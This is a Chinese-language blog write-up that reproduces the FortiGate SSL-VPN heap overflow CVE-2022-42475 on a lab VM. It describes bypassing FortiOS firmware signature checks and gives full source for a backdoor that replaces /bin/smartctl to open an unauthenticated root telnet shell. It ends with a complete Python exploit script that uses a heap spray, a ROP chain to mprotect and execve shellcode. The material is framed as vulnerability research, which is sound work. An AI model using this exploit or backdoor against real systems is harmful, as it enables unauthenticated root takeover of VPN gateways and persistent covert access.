Quiet Ram
  • HOME
  • ARCHIVE
  • CATEGORIES
  • TAGS
  • LINKS
  • ABOUT

Ram

  • HOME
  • ARCHIVE
  • CATEGORIES
  • TAGS
  • LINKS
  • ABOUT
Quiet主题
  • 漏洞挖掘
  • 漏洞利用

Fortigate sslvpn堆溢出 CVE-2022-42475

Ram
漏洞

2026-10-10 11:06:38

文章目录
  1. Fortigate sslvpn堆溢出 CVE-2022-42475
    1. 配置过程
    2. 解包过程
    3. 搭建GDB调试环境
  2. CVE-2022-42475
    1. 查找漏洞点
    2. 漏洞利用

Fortigate sslvpn堆溢出 CVE-2022-42475

这里选取的版本是7.2.2

配置过程

导入到VMware之后,把网卡切换到NAT(不切换其实问题也不大)

image.png

image.png

启动之后的账户是admin 密码是空密码,随后会重新设置密码。

显示我的网络配置情况,把它设置成固定IP地址(我VMware设置NAT网段是192.168.189.X)

image.png

设置之后的效果。之后访问 80 端口 web 页面(192.168.189.55:80),用刚刚设置的密码登录。

image.png

之后可以申请一个临时的license或者尝试去破解license。我临时找了一个license。

License可以利用工具自己生成,Github地址:https://github.com/rrrrrrri/fgt-gadgets

image.png

漏洞位于设备的 SSLVPN 功能中,分析前需要配置 VPN 功能。配置过程可参考官方文档,简单来说,首先在 User & Authentication -> User Definition 功能中创建一些 VPN 账户,添加到同一个 group 中。然后在 VPN -> SSL-VPN Settings 中填写监听网卡和端口等信息。最后按照提示创建一条防火墙规则允许外部请求进入。

image.png

如果想强制所有流量都走 VPN(目的地址保持 “all”),则关闭 split tunneling

image.png

image.png

至此可以触发漏洞的环境就已经搭建好了。

image.png

/bin/init 之所以是主要分析目标,是因为 FortiOS 把几乎整个业务层的用户态系统做成了一个大二进制:bin/init 是一个 69.8 MB 的 ELF,系统里 166 个守护进程全部是软链接到它——httpsd(Web 管理)、sshd、sslvpnd(SSL VPN)、ipsengine(IPS 引擎)、wad/proxyd(代理)、ospfd/bgpd/isisd(路由协议)、fnbamd(认证)、miglogd/fgtlogd(日志)、newcli(CLI)、cmdbsvr(配置数据库)等等。这是一个 busybox 式的 multi-call 二进制:运行时根据 argv[0](即被调用的名字)分发到对应的守护进程逻辑。所以拿到这一个文件,就等于拿到了 FortiOS 绝大多数攻击面——历年 FortiOS 的高危漏洞(如 sslvpnd 的堆溢出、httpsd 的未授权访问类漏洞)基本都在这里面。

解包过程

解开vmdk 取出镜像分区

cd ~/Desktop/fgt7.2.2
mkdir -p extract && cd extract

# 查看磁盘内容(应看到 MBR + 0.img + 1.img 两个分区)
7z l ../FortiGate-VM64_7.2.2-disk1.vmdk

# 解出分区镜像(约 2GB,需要一点时间)
7z x ../FortiGate-VM64_7.2.2-disk1.vmdk

产物说明:

文件 内容 用途

0.img ext3,卷标 FORTIOS 系统分区,含 rootfs.gz / flatkc 内核,主要对象

1.img ext3 数据分区 运行时数据(geodb、报告等),分析业务程序用不到···

# 验证
file 0.img 1.img
# 0.img: DOS/MBR boot sector 或 Linux ext3 filesystem (label FORTIOS)
# 1.img: Linux rev 1.0 ext3 filesystem data

从Fortios提取rootfs.gz

7z x 0.img rootfs.gz extlinux.conf
file rootfs.gz
# rootfs.gz: gzip compressed data, original size ~118MB

解开rootfs

zcat rootfs.gz > rootfs.cpio
file rootfs.cpio
# ASCII cpio archive (SVR4 with no CRC)

mkdir -p rootfs && cd rootfs
# 建议 sudo:cpio 需要权限创建 /dev 下的设备节点(无 sudo 也能解出,只是 dev 下缺节点)
sudo cpio -idm < ../rootfs.cpio
cd ..

解出后的骨架(rootfs/ 下):此时 bin/、usr/ 目录基本是空的 —— 正常,业务文件都在上面的压缩包里。

image.png

解开业务压缩包(核心步骤)

为什么标准工具不行(验证)
cd rootfs
xz -t bin.tar.xz
# xz: bin.tar.xz: Compressed data is corrupt   ← Fortinet 改过校验,必须用它自己的工具

方法 A:chroot(教程原方法,需要 sudo)

在 rootfs/ 目录内执行:

sudo chroot . /sbin/xz --check=sha256 -d /bin.tar.xz
sudo chroot . /sbin/ftar -xf /bin.tar
sudo chroot . /sbin/xz --check=sha256 -d /migadmin.tar.xz
sudo chroot . /sbin/ftar -xf /migadmin.tar
sudo chroot . /sbin/xz --check=sha256 -d /usr.tar.xz
sudo chroot . /sbin/ftar -xf /usr.tar
sudo chroot . /sbin/xz --check=sha256 -d /node-scripts.tar.xz
sudo chroot . /sbin/ftar -xf /node-scripts.t

chroot 的作用:让 Fortinet 工具的绝对路径链接器 /fortidev/lib64/ld-linux-x86-64.so.2 在解包目录内可以解析。

image.png

/bin/sslvpnd 是本次的分析目标,其实际是指向 /bin/init 的软链接.

搭建GDB调试环境

登录虚拟机console后,拿到的是一个受限的命令行界面,无法执行 shell 命令,我们需要通过 patch 文件系统和二进制来获取 shell 执行环境.

分析下启动过程以及patched的思路

flatkc(4.1MB)是 FortiOS 的 Linux 内核。名字就是 “flat kernel” 的缩写——一个 bzImage 格式的内核文件:以 Linux 3.2.16 为基础、经 Fortinet 深度定制(包括我们上一轮分析出的 fgt_verify 防篡改校验就是 patch 进这个内核里的),构建于 2022-09-30,对应 7.2.2 发布。开机时 extlinux 引导器按 extlinux.conf 里的配置加载它,同时把 rootfs.gz 作为 initrd 一起载入内存。它是整个系统的第一环:内核起来 → 解包 initrd → 校验并 exec /sbin/init → 再到 /bin/init 和那 166 个守护进程。

flatkc.chk(256 字节)是 flatkc 的签名文件。256 字节正好是 2048 位 RSA 签名的长度——内容就是一段对内核做 SHA256 哈希后再用 Fortinet 私钥签名的二进制数据(对应关系和 rootfs 里的 bin.tar.xz.chk、/sbin/init.chk 完全一样:.chk = RSA2048 签名,供持有公钥的一方验证文件未被篡改)

# 1. 从 FORTIOS 分区提取内核
cd ~/Desktop/fgt7.2.2/extract && 7z x 0.img flatkc flatkc.chk

# 2. 安装 vmlinux-to-elf(系统 Python 受 PEP 668 限制,用 venv)
python3 -m venv ~/venvs/vml2elf
~/venvs/vml2elf/bin/pip install vmlinux-to-elf

# 3. 转换(flatkc 是 bzImage,不是 ELF,IDA 无法直接加载)
~/venvs/vml2elf/bin/vmlinux-to-elf flatkc flatkc.elf

fgt_verify 是 Fortinet 自己加到 Linux 内核里的一个“防篡改检查函数”——原版 Linux 内核里根本没有这个函数。它的工作只有一件事:在内核启动第一个用户态程序之前,先检查几个关键系统文件有没有被人改过。没改过才允许系统继续启动,改过就直接让系统“装死”。

所以要先找到fgt_verify的校验机制,在IDA里面打开,找到这个函数。

已经看到fgt_verify 用于校验文件系统 hash,校验成功则会启动 /sbin/init 进程

image.png

/sbin/init 进程的逻辑如下(内核起来后执行的第一个用户态程序

image.png

代码逻辑:

  1. 首先校验文件系统

  2. 然后使用 decompress_dir 解压 bin.tar.gz 、migadmin.tar.gz 、node-scripts.tar.gz 、usr.tar.gz

  3. 最后执行 /bin/init .

bin/init还有几层校验

通过 Patch 绕过文件系统校验

再次简单梳理下系统启动校验流程:

  1. 内核解压 rootfs.gz,执行用户态进程 (/sbin/init) 之前会调用 fgt_verify 校验文件系统.

  2. /sbin/init 会解压文件系统,然后执行 /bin/init 进程.

  3. /bin/init 进行多次系统校验,校验失败会重启系统.

Patch 思路:

  1. 手动解压 rootfs.gz 以及其中的各个 tar.gz 文件.

  2. 然后 Patch /bin/init 程序,忽略其中的系统校验逻辑.(唯一需要静态patch的地方,其他的都是动态patch)

  3. 使用 cpio 和 gzip 重新打包 rootfs.gz

  4. 替换 FORTIOS 分区中的 rootfs.gz

  5. 利用 vmware workstation 的 debugStub 机制,调试内核,运行时 Patch 内核中的校验,并修改内存让其直接执行 /bin/init,绕过 /sbin/init 的执行.

在文件系统中植入后门

在命令行中执行 diagnose hardware smartctl 系统会执行 /bin/smartctl 程序,我们可以通过修改 smartctl 来实现执行任意 shell 命令.

操作流程:

  1. 首先下载静态链接的 busybox 并将其放到 /bin/busybox 目录.

  2. 然后静态编译后门程序,替换 /bin/smartctl

  3. 重新打包 rootfs.gz

  4. 进入系统后,执行 diagnose hardware smartctl ,触发后门的执行,会在 22 端口监听 telnet 服务.

  5. 从其他机器上 telnet 登录即可拿到 Fortios 的 shell.

后门为什么选 smartctl:我已在 7.2.2 的 /bin/init 里确认了 act_diag_hw_smartctl 处理函数和 /bin/smartctl 路径字符串——FortiOS 的 CLI 命令 diagnose hardware smartctl 底层就是 fork+exec 这个外部程序。这是从受限 CLI 到任意代码的唯一官方通道:命令名是合法诊断命令(不会触发告警),执行的二进制却归你控制。

后门程序代码:

#include <stdio.h>
 
void shell(){
        system("/bin/busybox ls", 0, 0);
        system("/bin/busybox id", 0, 0);
        system("/bin/busybox killall sshd && /bin/busybox telnetd -l /bin/sh -b 0.0.0.0 -p 22", 0, 0);
        return;
}
 
int main(int argc, char const *argv[])
{
        shell();
        return 0;
}

拿到 shell 后,通过 wget 下载静态链接的 gdb 即可调试用户态进程.

# VMware debugStub 内核调试脚本(在 gdb 里: source gdb_kernel.txt)
# 前提: 虚拟机已开机(卡在 fgt_verify 断点前),vmx 已配置 debugStub 端口 12345
# 符号来自 vmlinux-to-elf 转换的 flatkc.elf(无 KASLR,地址写死)

set architecture i386:x86-64
target remote <NAT地址>:12345 #如果你是用虚拟机连接fortigate
symbol-file /home/rwb/Desktop/fgt7.2.2/extract/flatkc.elf

# 1. 硬件断点拦住 fgt_verify(debugStub 下软件断点不可靠,必须 hbreak)
hbreak *0xffffffff80200991
continue

# 2. 命中后,把函数头改成 xor eax,eax; ret —— 永远返回 0(校验通过)
set {unsigned char}0xffffffff80200991 = 0x31
set {unsigned char}0xffffffff80200992 = 0xc0
set {unsigned char}0xffffffff80200993 = 0xc3

# 3. 把 exec 目标从 /sbin/init 改成 /bin/init(原地覆盖 10 字节含 NUL,刚好放下)
set {char[10]}0xffffffff808f3591 = "/bin/init"

# 4. 收掉断点,放行 —— 内核将直接 exec /bin/init,跳过 /sbin/init 的解包验签
delete
continue

总结

1. Patch /bin/init 校验函数(已验证)

  • 位置:bin/init 虚拟地址 0x277fc20(boot 镜像 RSA 验签函数,校验

/data/rootfs.gz 和 /data/flatkc 对应 .chk,失败触发重启)

  • 原字节:55 be e0 ec 5c 03 → 改为 b8 01 00 00 00 c3(mov $1,%eax; ret,永远返回”通过”)

  • 覆盖该函数全部 4 个调用点(0x44f222 fork 子进程校验、0xc09c9e、0x2784b6c、0x2784f2d)

2. 文件系统改动

  • /bin/busybox:静态 busybox 1.35.0(x86_64 musl,1.1MB,已验证可执行)

  • /bin/smartctl:替换为静态编译后门(源码 debug/backdoor.c),原程序备份在

extract/smartctl.orig

  • 后门行为:杀 sshd → busybox telnetd 监听 0.0.0.0:22(-l /bin/sh,免认证 root shell)

3. 重打包与写回(已闭环验证)

  • find . | cpio -H newc -o -R 0:0 + dev 节点拼接 + gzip -9 → rootfs.gz(78.5MB,原 67.5MB)

  • debugfs 写回 FORTIOS 分区镜像 0.img(rm rootfs.gz + write,inode 18)

  • qemu-img vmdk→raw,分区表定位(FORTIOS = LBA 2048 = 1MB 偏移),dd 写回,raw→vmdk

  • 验证:patched vmdk 转回 raw 后分区 MD5 与修改后 0.img 完全一致

上面的步骤可以让AI完成,也可以自己手动patch。

4.vmware侧

把 FortiGate-VM64_7.2.2-disk1-patched.vmdk 复制进虚拟机目录,改名为原盘名

FortiGate-VM64_7.2.2-disk1.vmdk(vmx 里引用的是这个名字,不用改 vmx 磁盘项)disk2(日志盘)不动

编辑虚拟机目录下的 .vmx 文件,末尾追加:

debugStub.listen.guest64 = "TRUE"
debugStub.listen.guest64.remote = "TRUE"
debugStub.port.guest64 = "12345"
monitor.debugOnStartGuest64 = "TRUE"

5.开机调试

# 1. 开机(点击"打开电源"后立刻执行下一步,BIOS 阶段连上即可)
# 2. 宿主机执行:
gdb -q
(gdb) source /home/rwb/Desktop/fgt7.2.2/debug/gdb_kernel.txt

脚本自动完成:连接 12345 → 载入 flatkc.elf 符号 → hbreak 拦截 fgt_verify →

命中后改函数头为 xor eax,eax;ret → 把 “/sbin/init” 字符串原地改为 “/bin/init” → 放行。

控制台登录 → diagnose hardware smartctl → 本机 telnet 192.168.189.55 22 拿 root shell

层 patch
内核(每次开机 gdb 运行时打) fgt_verify→ret0、exec 目标→/bin/init
/bin/init 静态 patch 1 0x277fc20 验签 → mov $1,%eax; ret
/bin/init 静态 patch 2 0x44f070 关机总入口 → ret
文件系统 busybox + smartctl 后门 + 1137 设备节点 + disk.chk

image.png

成功拿到root,下载gdb就可以调试用户态进程了。

image.png

如何下载并使用gdb

export PATH=/bin:/sbin:/usr/bin:/tmp
#  /bin 下生成全部 applet 软链接(ls、id、ps、netstat、wget……)
/bin/busybox --install -s /bin
# 拿到静态链接的gdb
# 宿主机放静态gdb的目录执行: python3 -m http.server 8000
# ~/Desktop/fgt7.2.2/gdbshare
cd /tmp
/bin/busybox wget http://192.168.189.130:8000/gdb -O /tmp/gdb
python3 -m http.server 8000
/tmp/gdb -p $(/bin/busybox pidof httpsd)  

CVE-2022-42475

漏洞类型:堆溢出

A heap-based buffer overflow vulnerability [CWE-122] in FortiOS SSL-VPN 7.2.0 through 7.2.2, 7.0.0 through 7.0.8, 6.4.0 through 6.4.10, 6.2.0 through 6.2.11, 6.0.15 and earlier and FortiProxy SSL-VPN 7.2.0 through 7.2.1, 7.0.7 and earlier may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.

参考博客:

  • https://wzt.ac.cn/2022/12/15/CVE-2022-42475/

  • https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/

  • https://blog.csdn.net/zkaqlaoniao/article/details/133774353

查找漏洞点

可以通过diff 7.2.2和7.2.3版本的方式来看漏洞点

主要是看/bin/init 这个二进制文件,可以通过ida以及bindiff插件来看两个二进制文件的差异

image.png

具体怎么找漏洞点的,我也不太清楚,感觉更多的可能是经验

网上的博客给的思路是:堆内存溢出->handler 函数中对用户提交的参数验证不严格或者代码在解析请求时对 Content-Length 的解析出现异常->sslvpnd ->http fuzz

核心漏洞点(可以让AI来找)

sslvpn_read_post_data_cb

7.2.2

image.png

读取content length只读取了四个字节

DWORD 4个字节

image.png

image.png

7.2.3

image.png

结构体里 Content Length 由 strtoull 按 8 字节解析,分配却用截断的 4 字节+1,而 memcpy 拷贝量用完整 8 字节值。

gdb调试验证

# 查看 sslvpnd的进程id
pidof sslvpnd  
ps aux
(gdb) attach $PID
(gdb) b *0x1785b90      # mov eax,[rax+18h] —— 读CL的瞬间
(gdb) b *0x1785b9d      # call alloc —— 分配的瞬间

ContentLength 为 100、1000000

image.png

Length 为 115964116992(0x1b00000000)

image.png

说明被截断了,实际分配了1

拷贝循环用的是完整的 8 字节 CL——分配和拷贝用了同一字段的不同宽度读取

攻击者实际的payload再多一点的话,就会导致溢出。

漏洞利用

image.png

核心道具:SSL 会话结构体(带函数指针的堆对象)

sslvpnd 为每个 TLS 连接维护一个固定大小的结构体,里面有一个回调函数指针——当该 socket 有新数据到达时,事件循环会调用它。这就是我们的“靶子”:只要溢出数据覆盖到某个相邻 SSL 结构体的这个指针,再往那个 socket 发点数据,CPU 就会跳到我们写的地址。

漏洞利用路径简述

  1. 发送 Content-Length: 115964116992,即 0x1b00000000。

  2. read_post_data 中按 32 位 CL + 1 做 movsxd 扩展,实际只分配 1 字节堆块。

  3. 堆喷大量 SSL 连接,布置 SSL 结构体。

  4. 超长 POST body 触发堆溢出,覆盖 handshake_func。

  5. 劫持后使用 push rdx; pop rsp; …; ret 栈迁移。

  6. ROP 调用 mprotect 把 shellcode 所在堆页改成 RWX。

  7. 执行 execve(“/tmp/pwn”, argv, NULL)。

当前 debug/exp_final.py 的完整流程是:

喷雾 60 连接
打洞
exp 连接 + 填缝
发送恶意 Content-Length
发送 3624 字节 payload
触发回调

复现操作

前提是目标已经运行 sslvpnd,并且 /tmp/pwn 已经是一个可执行验证脚本。当前环境里我们通过已有的 telnet 后门放置了:

#!/bin/sh

/bin/busybox id > /tmp/pwn.log 2>&1

/bin/busybox uname -a >> /tmp/pwn.log 2>&1

然后运行:

cd /home/rwb/Desktop/fgt7.2.2

python3 debug/exp_final.py

再检查目标:

cat /tmp/pwn.log

输出即为:

uid=0 gid=0

Linux FGVMPGLICENSEDTOCATALPA 3.2.16 #2 SMP Fri Sep 30 22:58:26 UTC 2022 x86_64 GNU/Linux

需要说明的一点

本次 exploit 本身完成的是未认证 SSL-VPN 攻击面和 ROP 到代码执行;用于证明的 /tmp/pwn 是借助当前环境已有的调试后门预先放到目标上的。如果要做一个完全不依赖已有后门的完整 EXP,下一步应把 shellcode 改成自包含的 connect-back 或直接写文件型 shellcode,不再依赖 /tmp/pwn。但就 CVE 漏洞复现而言,控制流劫持、mprotect、shellcode 执行和 root 级命令执行都已经验证成功。

#!/usr/bin/env python3
# exp_final.py — CVE-2022-42475 完整利用 (7.2.2 专属参数)
# 结构: 喷雾(60) -> 打洞(20..40/2) -> exp连接 -> 填缝(20) -> 溢出 -> 触发回调
import socket, ssl, struct, time

HOST, PORT = "192.168.189.55", 4443

# ===== 7.2.2 gadget表 (全部实测于本bin/init) =====
PIVOT       = 0x140583a  # push rdx; pop rsp; add edi,edi; nop; ret ← 栈劫持(真c3)
MOV_RAX_RDX = 0x54dac8    # mov rax, rdx; ret
POP_RCX     = 0x58f803    # pop rcx; ret
AND_RAX_RCX = 0x2b83960   # and rax, rcx; ret
POP_RDI     = 0x60f622    # pop rdi; ret
POP_RSI     = 0x530c9e    # pop rsi; ret
POP_RDX     = 0x509382    # pop rdx; ret
MOV_RDX_RAX = 0x1ea0374   # mov rdx,rax; sub rdx,rdi; sub [rsi],rdx; ret (rax→rdx搬运)
MOV_RDI_RDX = 0x45d852    # mov rdi,rdx; test esi,esi; jne..; ret
MPROTECT    = 0x43f3e0    # mprotect@plt
JMP_RSP     = 0x48560d    # jmp rsp
WRITABLE    = 0xF600000   # .bss深处空闲页(sub副作用的安全靶子)

p64 = lambda x: struct.pack("<Q", x)

# ===== ROP链: 把victim所在堆页改成RWX, 然后jmp rsp进shellcode =====
chain  = p64(MOV_RAX_RDX)               # rax = victim地址
chain += p64(POP_RCX) + p64(0x54dac8)   # ★牺牲槽: victim+16会被进程脏写, 弹出即弃
chain += p64(POP_RCX) + p64(0xfffffffffffff000)
chain += p64(AND_RAX_RCX)               # rax = victim所在页首页
chain += p64(POP_RDI) + p64(0)
chain += p64(POP_RSI) + p64(WRITABLE)
chain += p64(MOV_RDX_RAX)               # rdx = 页首 (副作用: [WRITABLE]-=页首,无害)
chain += p64(POP_RSI) + p64(0)
chain += p64(MOV_RDI_RDX)               # rdi = 页首
chain += p64(POP_RSI) + p64(0x4000)     # 长度16KB
chain += p64(POP_RDX) + p64(7)          # RWX
chain += p64(MPROTECT)                  # mprotect(页首, 0x4000, RWX)
chain += p64(JMP_RSP)                   # 跳进紧随其后的shellcode

# ===== shellcode: execve("/tmp/pwn", NULL, NULL) =====
sc  = b"x31xf6"                         # xor esi,esi
sc += b"x56"                             # push rsi        (argv[1]=NULL)
sc += b"x48xbbx2fx74x6dx70x2fx70x77x6e"  # mov rbx,"/tmp/pwn"
sc += b"x53"                             # push rbx        (路径串)
sc += b"x48x89xe7"                     # mov rdi,rsp     (path)
sc += b"x56"                             # push rsi        (argv[]结尾NULL)
sc += b"x57"                             # push rdi        (argv[0]=path)
sc += b"x48x89xe6"                     # mov rsi,rsp     (argv)
sc += b"x31xd2"                         # xor edx,edx     (envp=NULL)
sc += b"xb8x3bx00x00x00"             # mov eax,59
sc += b"x0fx05"                         # syscall

victim = chain + b"x90" * (192 - len(chain) - len(sc)) + sc
assert len(victim) == 192, len(victim)

# ===== 堆布局(实测): victim在溢出偏移3424, 函数指针在3616 =====
payload  = b"x" * 3424
payload += victim
payload += p64(PIVOT)                       # victim+0xC0 = jmp *rax 的目标
assert len(payload) == 3624

def mk_ssl():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(15)
    s.connect((HOST, PORT))
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    return ctx.wrap_socket(s)

def post(cl, body=b"a=1"):
    return (b"POST /remote/login HTTP/1.1rnHost: " + HOST.encode() +
            b"rnContent-Length: " + str(cl).encode() +
            b"rnUser-Agent: Mozilla/5.0rnContent-Type: text/plain;charset=UTF-8rn"
            b"Accept: */*rnrn" + body)

socks = []
print("[1] 喷雾60连接");  [ (lambda sk: (sk.sendall(post(100)), socks.append(sk)))(mk_ssl()) for _ in range(60) ]
print("[2] 打洞")
for i in range(20, 40, 2):
    socks[i].close(); socks[i] = None
print("[3] exp连接+填缝")
exp_sk = mk_ssl()
for _ in range(20):
    socks.append(mk_ssl())
print("[4] 恶意CL POST头")
exp_sk.sendall(post(115964116992, b""))
print("[5] 溢出payload %d字节" % len(payload))
exp_sk.sendall(payload)
print("[6] 触发回调")
for sk in socks:
    if sk:
        try: sk.sendall(b"b" * 40)
        except Exception: pass
print("完成, 检查 /tmp/pwn.log ...")
time.sleep(3)
下一篇

FirmAgent

©2026 By Ram.
Quiet主题